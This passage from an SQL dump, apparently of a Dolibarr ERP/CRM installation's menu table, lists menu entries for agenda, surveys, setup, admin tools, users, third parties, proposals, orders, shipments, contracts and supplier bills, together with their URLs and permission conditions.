15:29:19'),(103103,'all',2,'agenda','left','agenda',103102,NULL,NULL,113,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103104,'all',2,'agenda','left','agenda',103102,NULL,NULL,114,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103105,'all',2,'agenda','left','agenda',103102,NULL,NULL,115,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=todo','','MenuToDoActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103106,'all',2,'agenda','left','agenda',103102,NULL,NULL,116,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda&status=done','','MenuDoneActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103107,'all',2,'agenda','left','agenda',103095,NULL,NULL,120,'/comm/action/rapport/index.php?mainmenu=agenda&leftmenu=agenda','','Reportings',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103134,'all',2,'opensurvey','top','opensurvey',0,NULL,NULL,200,'/opensurvey/index.php','','Surveys',NULL,'opensurvey',NULL,NULL,'$user->rights->opensurvey->survey->read','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(103135,'all',2,'opensurvey','left','opensurvey',-1,NULL,'opensurvey',200,'/opensurvey/index.php?mainmenu=opensurvey&leftmenu=opensurvey','','Survey',NULL,'opensurvey@opensurvey',NULL,'opensurvey','','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(103136,'all',2,'opensurvey','left','opensurvey',-1,'opensurvey','opensurvey',210,'/opensurvey/public/index.php','_blank','NewSurvey',NULL,'opensurvey@opensurvey',NULL,'opensurvey_new','','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(103137,'all',2,'opensurvey','left','opensurvey',-1,'opensurvey','opensurvey',220,'/opensurvey/list.php','','List',NULL,'opensurvey@opensurvey',NULL,'opensurvey_list','','$conf->opensurvey->enabled',0,'2015-03-13 20:33:42'),(161088,'auguria',1,'','top','home',0,NULL,NULL,10,'/index.php?mainmenu=home&leftmenu=','','Home',NULL,'',-1,'','','1',2,'2017-08-30 15:14:30'),(161089,'auguria',1,'societe|fournisseur','top','companies',0,NULL,NULL,20,'/societe/index.php?mainmenu=companies&leftmenu=','','ThirdParties',NULL,'companies',-1,'','$user->rights->societe->lire || $user->rights->societe->contact->lire','( ! empty($conf->societe->enabled) && (empty($conf->global->SOCIETE_DISABLE_PROSPECTS) || empty($conf->global->SOCIETE_DISABLE_CUSTOMERS))) || ! empty($conf->fournisseur->enabled)',2,'2017-08-30 15:14:30'),(161090,'auguria',1,'product|service','top','products',0,NULL,NULL,30,'/product/index.php?mainmenu=products&leftmenu=','','Products/Services',NULL,'products',-1,'','$user->rights->produit->lire||$user->rights->service->lire','$conf->product->enabled || $conf->service->enabled',0,'2017-08-30 15:14:30'),(161092,'auguria',1,'propal|commande|fournisseur|contrat|ficheinter','top','commercial',0,NULL,NULL,40,'/comm/index.php?mainmenu=commercial&leftmenu=','','Commercial',NULL,'commercial',-1,'','$user->rights->societe->lire || $user->rights->societe->contact->lire','$conf->propal->enabled || $conf->commande->enabled || $conf->supplier_order->enabled || $conf->contrat->enabled || $conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(161093,'auguria',1,'comptabilite|accounting|facture|don|tax|salaries|loan','top','accountancy',0,NULL,NULL,50,'/compta/index.php?mainmenu=accountancy&leftmenu=','','MenuFinancial',NULL,'compta',-1,'','$user->rights->compta->resultat->lire || $user->rights->accounting->plancompte->lire || $user->rights->facture->lire|| $user->rights->don->lire || $user->rights->tax->charges->lire || $user->rights->salaries->read || $user->rights->loan->read','$conf->comptabilite->enabled || $conf->accounting->enabled || $conf->facture->enabled || $conf->don->enabled || $conf->tax->enabled || $conf->salaries->enabled || $conf->supplier_invoice->enabled || $conf->loan->enabled',2,'2017-08-30 15:14:30'),(161094,'auguria',1,'projet','top','project',0,NULL,NULL,70,'/projet/index.php?mainmenu=project&leftmenu=','','Projects',NULL,'projects',-1,'','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(161095,'auguria',1,'mailing|export|import|opensurvey|resource','top','tools',0,NULL,NULL,90,'/core/tools.php?mainmenu=tools&leftmenu=','','Tools',NULL,'other',-1,'','$user->rights->mailing->lire || $user->rights->export->lire || $user->rights->import->run || $user->rights->opensurvey->read || $user->rights->resource->read','$conf->mailing->enabled || $conf->export->enabled || $conf->import->enabled || $conf->opensurvey->enabled || $conf->resource->enabled',2,'2017-08-30 15:14:30'),(161101,'auguria',1,'banque|prelevement','top','bank',0,NULL,NULL,60,'/compta/bank/index.php?mainmenu=bank&leftmenu=bank','','MenuBankCash',NULL,'banks',-1,'','$user->rights->banque->lire || $user->rights->prelevement->bons->lire','$conf->banque->enabled || $conf->prelevement->enabled',0,'2017-08-30 15:14:30'),(161102,'auguria',1,'hrm|holiday|deplacement|expensereport','top','hrm',0,NULL,NULL,80,'/hrm/index.php?mainmenu=hrm&leftmenu=','','HRM',NULL,'holiday',-1,'','$user->rights->hrm->employee->read || $user->rights->holiday->write || $user->rights->deplacement->lire || $user->rights->expensereport->lire','$conf->hrm->enabled || $conf->holiday->enabled || $conf->deplacement->enabled || $conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(161177,'auguria',1,'','left','home',161088,NULL,NULL,0,'/index.php','','MyDashboard',NULL,'',0,'','','1',2,'2017-08-30 15:14:30'),(161187,'auguria',1,'','left','home',161088,NULL,NULL,1,'/admin/index.php?leftmenu=setup','','Setup',NULL,'admin',0,'setup','','$user->admin',2,'2017-08-30 15:14:30'),(161188,'auguria',1,'','left','home',161187,NULL,NULL,1,'/admin/company.php?leftmenu=setup','','MenuCompanySetup',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161189,'auguria',1,'','left','home',161187,NULL,NULL,4,'/admin/ihm.php?leftmenu=setup','','GUISetup',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161190,'auguria',1,'','left','home',161187,NULL,NULL,2,'/admin/modules.php?leftmenu=setup','','Modules',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161191,'auguria',1,'','left','home',161187,NULL,NULL,6,'/admin/boxes.php?leftmenu=setup','','Boxes',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161192,'auguria',1,'','left','home',161187,NULL,NULL,3,'/admin/menus.php?leftmenu=setup','','Menus',NULL,'admin',1,'','','$leftmenu==\'setup\'',2,'2017-09-06 08:29:47'),(161193,'auguria',1,'','left','home',161187,NULL,NULL,7,'/admin/delais.php?leftmenu=setup','','Alerts',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161194,'auguria',1,'','left','home',161187,NULL,NULL,10,'/admin/pdf.php?leftmenu=setup','','PDF',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161195,'auguria',1,'','left','home',161187,NULL,NULL,8,'/admin/security_other.php?leftmenu=setup','','Security',NULL,'admin',1,'','','$leftmenu==\'setup\'',2,'2017-09-06 08:29:36'),(161196,'auguria',1,'','left','home',161187,NULL,NULL,11,'/admin/mails.php?leftmenu=setup','','Emails',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161197,'auguria',1,'','left','home',161187,NULL,NULL,9,'/admin/limits.php?leftmenu=setup','','MenuLimits',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161198,'auguria',1,'','left','home',161187,NULL,NULL,13,'/admin/dict.php?leftmenu=setup','','Dictionary',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161199,'auguria',1,'','left','home',161187,NULL,NULL,14,'/admin/const.php?leftmenu=setup','','OtherSetup',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161200,'auguria',1,'','left','home',161187,NULL,NULL,12,'/admin/sms.php?leftmenu=setup','','SMS',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161201,'auguria',1,'','left','home',161187,NULL,NULL,4,'/admin/translation.php?leftmenu=setup','','Translation',NULL,'admin',1,'','','$leftmenu==\"setup\"',2,'2017-08-30 15:14:30'),(161288,'auguria',1,'','left','home',161387,NULL,NULL,0,'/admin/system/dolibarr.php?leftmenu=admintools','','InfoDolibarr',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161289,'auguria',1,'','left','home',161288,NULL,NULL,2,'/admin/system/modules.php?leftmenu=admintools','','Modules',NULL,'admin',2,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161290,'auguria',1,'','left','home',161288,NULL,NULL,3,'/admin/triggers.php?leftmenu=admintools','','Triggers',NULL,'admin',2,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161291,'auguria',1,'','left','home',161288,NULL,NULL,4,'/admin/system/filecheck.php?leftmenu=admintools','','FileCheck',NULL,'admin',2,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161292,'auguria',1,'','left','home',161387,NULL,NULL,1,'/admin/system/browser.php?leftmenu=admintools','','InfoBrowser',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161293,'auguria',1,'','left','home',161387,NULL,NULL,2,'/admin/system/os.php?leftmenu=admintools','','InfoOS',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161294,'auguria',1,'','left','home',161387,NULL,NULL,3,'/admin/system/web.php?leftmenu=admintools','','InfoWebServer',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161295,'auguria',1,'','left','home',161387,NULL,NULL,4,'/admin/system/phpinfo.php?leftmenu=admintools','','InfoPHP',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161297,'auguria',1,'','left','home',161387,NULL,NULL,5,'/admin/system/database.php?leftmenu=admintools','','InfoDatabase',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161387,'auguria',1,'','left','home',161088,NULL,NULL,2,'/admin/tools/index.php?leftmenu=admintools','','AdminTools',NULL,'admin',0,'admintools','','$user->admin',2,'2017-08-30 15:14:30'),(161388,'auguria',1,'','left','home',161387,NULL,NULL,6,'/admin/tools/dolibarr_export.php?leftmenu=admintools','','Backup',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161389,'auguria',1,'','left','home',161387,NULL,NULL,7,'/admin/tools/dolibarr_import.php?leftmenu=admintools','','Restore',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161392,'auguria',1,'','left','home',161387,NULL,NULL,8,'/admin/tools/update.php?leftmenu=admintools','','MenuUpgrade',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161393,'auguria',1,'','left','home',161387,NULL,NULL,9,'/admin/tools/eaccelerator.php?leftmenu=admintools','','EAccelerator',NULL,'admin',1,'','','$leftmenu==\"admintools\" && function_exists(\"eaccelerator_info\")',2,'2017-08-30 15:14:30'),(161394,'auguria',1,'','left','home',161387,NULL,NULL,10,'/admin/tools/listevents.php?leftmenu=admintools','','Audit',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161395,'auguria',1,'','left','home',161387,NULL,NULL,11,'/admin/tools/listsessions.php?leftmenu=admintools','','Sessions',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161396,'auguria',1,'','left','home',161387,NULL,NULL,12,'/admin/tools/purge.php?leftmenu=admintools','','Purge',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161398,'auguria',1,'','left','home',161387,NULL,NULL,14,'/admin/system/about.php?leftmenu=admintools','','ExternalResources',NULL,'admin',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161407,'auguria',1,'','left','home',161387,NULL,NULL,15,'/product/admin/product_tools.php?mainmenu=home&leftmenu=admintools','','ProductVatMassChange',NULL,'products',1,'','','$leftmenu==\"admintools\"',2,'2017-08-30 15:14:30'),(161487,'auguria',1,'','left','home',161088,NULL,NULL,4,'/user/home.php?leftmenu=users','','MenuUsersAndGroups',NULL,'users',0,'users','','1',2,'2017-08-30 15:14:30'),(161488,'auguria',1,'','left','home',161487,NULL,NULL,0,'/user/index.php?leftmenu=users','','Users',NULL,'users',1,'','$user->rights->user->user->lire || $user->admin','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161489,'auguria',1,'','left','home',161488,NULL,NULL,0,'/user/card.php?leftmenu=users&action=create','','NewUser',NULL,'users',2,'','($user->rights->user->user->creer || $user->admin) && !(! empty($conf->multicompany->enabled) && $conf->entity > 1 && $conf->global->MULTICOMPANY_TRANSVERSE_MODE)','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161490,'auguria',1,'','left','home',161487,NULL,NULL,1,'/user/group/index.php?leftmenu=users','','Groups',NULL,'users',1,'','(($conf->global->MAIN_USE_ADVANCED_PERMS?$user->rights->user->group_advance->read:$user->rights->user->user->lire) || $user->admin) && !(! empty($conf->multicompany->enabled) && $conf->entity > 1 && $conf->global->MULTICOMPANY_TRANSVERSE_MODE)','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161491,'auguria',1,'','left','home',161490,NULL,NULL,0,'/user/group/card.php?leftmenu=users&action=create','','NewGroup',NULL,'users',2,'','(($conf->global->MAIN_USE_ADVANCED_PERMS?$user->rights->user->group_advance->write:$user->rights->user->user->creer) || $user->admin) && !(! empty($conf->multicompany->enabled) && $conf->entity > 1 && $conf->global->MULTICOMPANY_TRANSVERSE_MODE)','$leftmenu==\"users\"',2,'2017-08-30 15:14:30'),(161587,'auguria',1,'','left','companies',161089,NULL,NULL,0,'/societe/index.php?leftmenu=thirdparties','','ThirdParty',NULL,'companies',0,'thirdparties','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161588,'auguria',1,'','left','companies',161587,NULL,NULL,0,'/societe/card.php?action=create','','MenuNewThirdParty',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161589,'auguria',1,'','left','companies',161587,NULL,NULL,0,'/societe/list.php?action=create','','List',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161590,'auguria',1,'','left','companies',161587,NULL,NULL,5,'/societe/list.php?type=f&leftmenu=suppliers','','ListSuppliersShort',NULL,'suppliers',1,'','$user->rights->societe->lire && $user->rights->fournisseur->lire','$conf->societe->enabled && $conf->fournisseur->enabled',2,'2017-08-30 15:14:30'),(161591,'auguria',1,'','left','companies',161590,NULL,NULL,0,'/societe/card.php?leftmenu=supplier&action=create&type=f','','NewSupplier',NULL,'suppliers',2,'','$user->rights->societe->creer','$conf->societe->enabled && $conf->fournisseur->enabled',2,'2017-08-30 15:14:30'),(161593,'auguria',1,'','left','companies',161587,NULL,NULL,3,'/societe/list.php?type=p&leftmenu=prospects','','ListProspectsShort',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161594,'auguria',1,'','left','companies',161593,NULL,NULL,0,'/societe/card.php?leftmenu=prospects&action=create&type=p','','MenuNewProspect',NULL,'companies',2,'','$user->rights->societe->creer','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161596,'auguria',1,'','left','companies',161587,NULL,NULL,4,'/societe/list.php?type=c&leftmenu=customers','','ListCustomersShort',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161597,'auguria',1,'','left','companies',161596,NULL,NULL,0,'/societe/card.php?leftmenu=customers&action=create&type=c','','MenuNewCustomer',NULL,'companies',2,'','$user->rights->societe->creer','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161687,'auguria',1,'','left','companies',161089,NULL,NULL,1,'/contact/list.php?leftmenu=contacts','','ContactsAddresses',NULL,'companies',0,'contacts','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161688,'auguria',1,'','left','companies',161687,NULL,NULL,0,'/contact/card.php?leftmenu=contacts&action=create','','NewContactAddress',NULL,'companies',1,'','$user->rights->societe->creer','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161689,'auguria',1,'','left','companies',161687,NULL,NULL,1,'/contact/list.php?leftmenu=contacts','','List',NULL,'companies',1,'','$user->rights->societe->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161691,'auguria',1,'','left','companies',161689,NULL,NULL,1,'/contact/list.php?leftmenu=contacts&type=p','','ThirdPartyProspects',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161692,'auguria',1,'','left','companies',161689,NULL,NULL,2,'/contact/list.php?leftmenu=contacts&type=c','','ThirdPartyCustomers',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161693,'auguria',1,'','left','companies',161689,NULL,NULL,3,'/contact/list.php?leftmenu=contacts&type=f','','ThirdPartySuppliers',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled && $conf->fournisseur->enabled',2,'2017-08-30 15:14:30'),(161694,'auguria',1,'','left','companies',161689,NULL,NULL,4,'/contact/list.php?leftmenu=contacts&type=o','','Others',NULL,'companies',2,'','$user->rights->societe->contact->lire','$conf->societe->enabled',2,'2017-08-30 15:14:30'),(161737,'auguria',1,'','left','companies',161089,NULL,NULL,3,'/categories/index.php?leftmenu=cat&type=1','','SuppliersCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161738,'auguria',1,'','left','companies',161737,NULL,NULL,0,'/categories/card.php?action=create&type=1','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161747,'auguria',1,'','left','companies',161089,NULL,NULL,4,'/categories/index.php?leftmenu=cat&type=2','','CustomersProspectsCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->fournisseur->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161748,'auguria',1,'','left','companies',161747,NULL,NULL,0,'/categories/card.php?action=create&type=2','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->fournisseur->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161757,'auguria',1,'','left','companies',161089,NULL,NULL,3,'/categories/index.php?leftmenu=cat&type=4','','ContactCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(161758,'auguria',1,'','left','companies',161757,NULL,NULL,0,'/categories/card.php?action=create&type=4','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->societe->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(162187,'auguria',1,'','left','commercial',161092,NULL,NULL,4,'/comm/propal/index.php?leftmenu=propals','','Prop',NULL,'propal',0,'propals','$user->rights->propale->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162188,'auguria',1,'','left','commercial',162187,NULL,NULL,0,'/comm/propal/card.php?action=create&leftmenu=propals','','NewPropal',NULL,'propal',1,'','$user->rights->propale->creer','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162189,'auguria',1,'','left','commercial',162187,NULL,NULL,1,'/comm/propal/list.php?leftmenu=propals','','List',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162190,'auguria',1,'','left','commercial',162189,NULL,NULL,2,'/comm/propal/list.php?leftmenu=propals&search_status=0','','PropalsDraft',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162191,'auguria',1,'','left','commercial',162189,NULL,NULL,3,'/comm/propal/list.php?leftmenu=propals&search_status=1','','PropalsOpened',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162192,'auguria',1,'','left','commercial',162189,NULL,NULL,4,'/comm/propal/list.php?leftmenu=propals&search_status=2','','PropalStatusSigned',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162193,'auguria',1,'','left','commercial',162189,NULL,NULL,5,'/comm/propal/list.php?leftmenu=propals&search_status=3','','PropalStatusNotSigned',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162194,'auguria',1,'','left','commercial',162189,NULL,NULL,6,'/comm/propal/list.php?leftmenu=propals&search_status=4','','PropalStatusBilled',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled && $leftmenu==\"propals\"',2,'2017-08-30 15:14:30'),(162197,'auguria',1,'','left','commercial',162187,NULL,NULL,4,'/comm/propal/stats/index.php?leftmenu=propals','','Statistics',NULL,'propal',1,'','$user->rights->propale->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(162287,'auguria',1,'','left','commercial',161092,NULL,NULL,5,'/commande/index.php?leftmenu=orders','','CustomersOrders',NULL,'orders',0,'orders','$user->rights->commande->lire','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162288,'auguria',1,'','left','commercial',162287,NULL,NULL,0,'/commande/card.php?action=create&leftmenu=orders','','NewOrder',NULL,'orders',1,'','$user->rights->commande->creer','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162289,'auguria',1,'','left','commercial',162287,NULL,NULL,1,'/commande/list.php?leftmenu=orders','','List',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162290,'auguria',1,'','left','commercial',162289,NULL,NULL,2,'/commande/list.php?leftmenu=orders&search_status=0','','StatusOrderDraftShort',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162291,'auguria',1,'','left','commercial',162289,NULL,NULL,3,'/commande/list.php?leftmenu=orders&search_status=1','','StatusOrderValidated',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162292,'auguria',1,'','left','commercial',162289,NULL,NULL,4,'/commande/list.php?leftmenu=orders&search_status=2','','StatusOrderOnProcessShort',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162293,'auguria',1,'','left','commercial',162289,NULL,NULL,5,'/commande/list.php?leftmenu=orders&search_status=3','','StatusOrderToBill',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162294,'auguria',1,'','left','commercial',162289,NULL,NULL,6,'/commande/list.php?leftmenu=orders&search_status=4','','StatusOrderProcessed',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162295,'auguria',1,'','left','commercial',162289,NULL,NULL,7,'/commande/list.php?leftmenu=orders&search_status=-1','','StatusOrderCanceledShort',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled && $leftmenu==\"orders\"',2,'2017-08-30 15:14:30'),(162296,'auguria',1,'','left','commercial',162287,NULL,NULL,4,'/commande/stats/index.php?leftmenu=orders','','Statistics',NULL,'orders',1,'','$user->rights->commande->lire','$conf->commande->enabled',2,'2017-08-30 15:14:30'),(162387,'auguria',1,'','left','commercial',161090,NULL,NULL,6,'/expedition/index.php?leftmenu=sendings','','Shipments',NULL,'sendings',0,'sendings','$user->rights->expedition->lire','$conf->expedition->enabled',2,'2017-08-30 15:14:30'),(162388,'auguria',1,'','left','commercial',162387,NULL,NULL,0,'/expedition/card.php?action=create2&leftmenu=sendings','','NewSending',NULL,'sendings',1,'','$user->rights->expedition->creer','$conf->expedition->enabled && $leftmenu==\"sendings\"',2,'2017-08-30 15:14:30'),(162389,'auguria',1,'','left','commercial',162387,NULL,NULL,1,'/expedition/list.php?leftmenu=sendings','','List',NULL,'sendings',1,'','$user->rights->expedition->lire','$conf->expedition->enabled && $leftmenu==\"sendings\"',2,'2017-08-30 15:14:30'),(162390,'auguria',1,'','left','commercial',162387,NULL,NULL,2,'/expedition/stats/index.php?leftmenu=sendings','','Statistics',NULL,'sendings',1,'','$user->rights->expedition->lire','$conf->expedition->enabled && $leftmenu==\"sendings\"',2,'2017-08-30 15:14:30'),(162487,'auguria',1,'','left','commercial',161092,NULL,NULL,7,'/contrat/index.php?leftmenu=contracts','','Contracts',NULL,'contracts',0,'contracts','$user->rights->contrat->lire','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162488,'auguria',1,'','left','commercial',162487,NULL,NULL,0,'/contrat/card.php?&action=create&leftmenu=contracts','','NewContract',NULL,'contracts',1,'','$user->rights->contrat->creer','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162489,'auguria',1,'','left','commercial',162487,NULL,NULL,1,'/contrat/list.php?leftmenu=contracts','','List',NULL,'contracts',1,'','$user->rights->contrat->lire','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162490,'auguria',1,'','left','commercial',162487,NULL,NULL,2,'/contrat/services.php?leftmenu=contracts','','MenuServices',NULL,'contracts',1,'','$user->rights->contrat->lire','$conf->contrat->enabled',2,'2017-08-30 15:14:30'),(162491,'auguria',1,'','left','commercial',162490,NULL,NULL,0,'/contrat/services.php?leftmenu=contracts&mode=0','','MenuInactiveServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162492,'auguria',1,'','left','commercial',162490,NULL,NULL,1,'/contrat/services.php?leftmenu=contracts&mode=4','','MenuRunningServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162493,'auguria',1,'','left','commercial',162490,NULL,NULL,2,'/contrat/services.php?leftmenu=contracts&mode=4&filter=expired','','MenuExpiredServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162494,'auguria',1,'','left','commercial',162490,NULL,NULL,3,'/contrat/services.php?leftmenu=contracts&mode=5','','MenuClosedServices',NULL,'contracts',2,'','$user->rights->contrat->lire','$conf->contrat->enabled && $leftmenu==\"contracts\"',2,'2017-08-30 15:14:30'),(162587,'auguria',1,'','left','commercial',161092,NULL,NULL,8,'/fichinter/list.php?leftmenu=ficheinter','','Interventions',NULL,'interventions',0,'ficheinter','$user->rights->ficheinter->lire','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162588,'auguria',1,'','left','commercial',162587,NULL,NULL,0,'/fichinter/card.php?action=create&leftmenu=ficheinter','','NewIntervention',NULL,'interventions',1,'','$user->rights->ficheinter->creer','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162589,'auguria',1,'','left','commercial',162587,NULL,NULL,1,'/fichinter/list.php?leftmenu=ficheinter','','List',NULL,'interventions',1,'','$user->rights->ficheinter->lire','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162590,'auguria',1,'','left','commercial',162587,NULL,NULL,2,'/fichinter/stats/index.php?leftmenu=ficheinter','','Statistics',NULL,'interventions',1,'','$user->rights->ficheinter->lire','$conf->ficheinter->enabled',2,'2017-08-30 15:14:30'),(162687,'auguria',1,'','left','accountancy',161093,NULL,NULL,3,'/fourn/facture/list.php?leftmenu=suppliers_bills','','BillsSuppliers',NULL,'bills',0,'suppliers_bills','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2023-02-27 16:28:21'),(162688,'auguria',1,'','left','accountancy',162687,NULL,NULL,0,'/fourn/facture/card.php?action=create&leftmenu=suppliers_bills','','NewBill',NULL,'bills',1,'','$user->rights->fournisseur->facture->creer','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162689,'auguria',1,'','left','accountancy',162687,NULL,NULL,1,'/fourn/facture/list.php?leftmenu=suppliers_bills','','List',NULL,'bills',1,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 15:14:30'),(162690,'auguria',1,'','left','accountancy',162687,NULL,NULL,2,'/fourn/facture/paiement.php?leftmenu=suppliers_bills','','Payments',NULL,'bills',1,'','$user->rights->fournisseur->facture->lire','$conf->supplier_invoice->enabled',2,'2017-08-30 